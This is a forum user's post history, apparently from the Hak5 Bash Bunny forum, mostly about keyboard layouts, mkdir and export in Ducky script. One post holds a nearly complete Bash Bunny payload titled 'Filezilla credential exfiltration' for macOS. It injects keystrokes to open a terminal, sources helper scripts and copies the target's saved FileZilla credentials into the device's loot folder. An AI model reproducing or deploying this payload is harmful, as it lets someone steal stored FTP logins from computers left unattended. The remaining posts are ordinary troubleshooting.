Jump to content

quentin_lamamy

Active Members
  • Posts

    122
  • Joined

  • Last visited

  • Days Won

    2

Posts posted by quentin_lamamy

  1. issue solved, i have to create a new json that match the osx keyboard layout (i don't know how but i need), until i learn how to create a new keyboard layout i just change the system keyboard layout to a classic FR PC Azerty

  2. Don't work anymore , Whaaaaaaat ! :angry:.  Welllll, does something change in the new firmware ???

    DUCKY_LANG fr
    
    [...]
    
    Q STRING printf '\e[2t'
    Q ENTER

    Result

    printf ¡e{2t

     

  3. 21 hours ago, Dave-ee Jones said:

    Okay, that's good news. You might notice you can do other things like for loops, while loops, switches, etc. Normal Bash programming stuff :P

    Yes all this classic command will work, i try all the "uncommon" command and try them to help the future BB noob like me

    Next unix command test : export

    export FOO="BAR"
    Q STRING $FOO
    
    # Will print, as expected BAR in the current focused window
    
    export PS1="bashbunny>"
    
    # Will do nothing

    I have little idea on why it don't change my terminal prompt, it may be a kind of scope issue. Something like the var is set for the actual running script on the BB and not for the current opened terminal.

    I use to success to make this work with Q STRING en Q ENTER, but now it sucks with some encoding issue

    # Print this command in terminal in order to be in the "good scope"
    Q STRING "export PS1='bashbunny >'"
    Q ENTER

    but the unexpected result is

    export PS1-'bashbunny #'

    encoding PB solve with a new OSX keyboard layout

  4. If the character is on your keyboard layout you have to set the keyboard layout in your script

    DUCKY_LANG fr

    and add the right json according to your keyboard layout in the language folder

    If the character is not on your keyboard i think it's possible to use the ascii or the hexa code, but you have to wait for a more skilled BB user to have this info.

  5. Just try and yes tadaa i have my folder, but in my case it don't work ?

    #!/bin/bash
    ###############################################################################
    #           _____  _____  _____  _____     _____  _____  _____  _____  __ __  #
    # (\___/)  | __  ||  _  ||   __||  |  |   | __  ||  |  ||   | ||   | ||  |  | #
    # (='.'=)  | __ -||     ||__   ||     |   | __ -||  |  || | | || | | ||_   _| #
    # (")_(")  |_____||__|__||_____||__|__|   |_____||_____||_|___||_|___|  |_|   #  
    #                           Bash Bunny by Hak5 USB Attack/Automation Platform #
    #                                                                             #
    ###############################################################################
    #                                                                             #
    # Title:         Filezilla credential exfiltration                            #
    # Author:        Quentin Lamamy <contact@quentin-lamamy.fr>                   #
    # Description    Exfiltrate filezilla credential                              #
    # Version:       1.0                                                          #
    # Platform       OSX                                                          #
    #                                                                             #
    ###############################################################################
    
    
    #####################
    # Setup the payload #
    #####################
    
    LED SETUP
    rootDir=/Volumes/BashBunny
    lootDir=$rootDir/loot/exfiltration/filezilla
    DUCKY_LANG fr
    GET SWITCH_POSITION
    ATTACKMODE HID STORAGE
    
    #####################
    # Attack the target #
    #####################
    
    LED ATTACK
    
    Q CTRL SPACE
    Q STRING terminal
    Q ENTER		
    
    Q STRING source $rootDir/payloads/$SWITCH_POSITION/shell.sh
    Q ENTER
    
    Q STRING shell.init
    Q ENTER
    
    Q STRING mkdir -p $lootDir
    Q ENTER
    
    Q STRING source $rootDir/payloads/$SWITCH_POSITION/filezillaExfiltration.sh;
    Q ENTER
    
    Q STRING filezilla.exfiltration $lootDir
    Q ENTER
    
    #Q STRING clear
    #Q ENTER
    
    QUACK STRING source $rootDir/payloads/$SWITCH_POSITION/footer.sh
    QUACK ENTER
    
    # Close terminal
    #QUACK STRING killall Terminal
    #QUACK ENTER
    
    LED FINISH
    #################################################################################
    # (\___/)      Find further documentation, repository of payloads,      (\___/) #
    # (='.'=)      tutorial videos and community support forums at          (='.'=) #
    # (")_(")      bashbunny.com. (C) Hak5 LLC                              (")_(") #
    #################################################################################
    cp: /Volumes/BashBunny/loot/exfiltration/filezilla/quentin_sitemanager.xml: No such file or directory

     

    It's not the better way to do QUACK mkdir ..... and QUACK ENTER, but it should work no ?

  6. Here is the result of some test

    TEST 1 : Print the command in shell and press enter

    rootDir=/Volumes/BashBunny
    lootDir=$rootDir/loot/exfiltration/
    
    [...]
    
    Q STRING mkdir -p $lootDir
    Q ENTER

    The result : No folder creation and this result in the console

    bashbunny> mkdir §p /Volumes/BashBunny/loot/exfiltration/
    mkdir: §p: File exists

    Why this error ? Don't know because the file doesn't exist,

    And why my mkdir -p become mkdir: §p ?

     

  7. 20 minutes ago, Dave-ee Jones said:

    Where are you posting the Ducky script? In your SSH/Serial shell for the Bunny or..?

    it's just in my switch1 folder like any other payload (not in serial console)  And i test this weird path because i see it in this payload  (when i don't have enough documentation or data, i try to learn from the existing script). But it seems that it's not the good way to create a folder (before moving file inside during exfiltration)

  8. Ok, hoist the white flag xD

    I just try try this command

    mkdir -p /root/udisk/loot/exfiltration

    nothing, no folder, a total void ^^

    but if i use this command

    Q STRING mkdir -p /Volumes/BashBunny/loot/exfiltration
    Q ENTER

    it work's \o/

    for me it's the same, i just want to understand where is my mistake.

    Thks

  9. Thks for the tutorial... and the respect..... I'm not aware of the internal software and hardware of the BB.

    Just tell me that bb is a linux computer in a USB key, it's enough , i don't need help to know the command list available on unix, and i don't need your disdain.

  10. 10 minutes ago, Dave-ee Jones said:

    Yes, many *Unix commands are supported by the Bash Bunny because it is a Linux box.

    mkdir
    chmod
    mv
    cd
    man
    rmdir
    rm

    There are lots..

    There is a list somewhere ? I can't find this information on the wiki

  11. For information i resolve the issue with a printf inside a function.

    Well... no it don't work anymore, and forget to enable the versioning :sad:

  12. Hi there,

    I have a little question, i love my bash bunny, create a lot of payloads (i will post them when really finished), but still have some question.

    Actually for all my payload i open a terminal, minimize it and do my stuff. When i look at this kind of payload , on line 24 there is a unix command "mkdir". So, it's possible to use unix command without a terminal ?

    Reminder for people who read this topic, working unix command in payload :

    mkdir
    source
    export

     

×
×
  • Create New...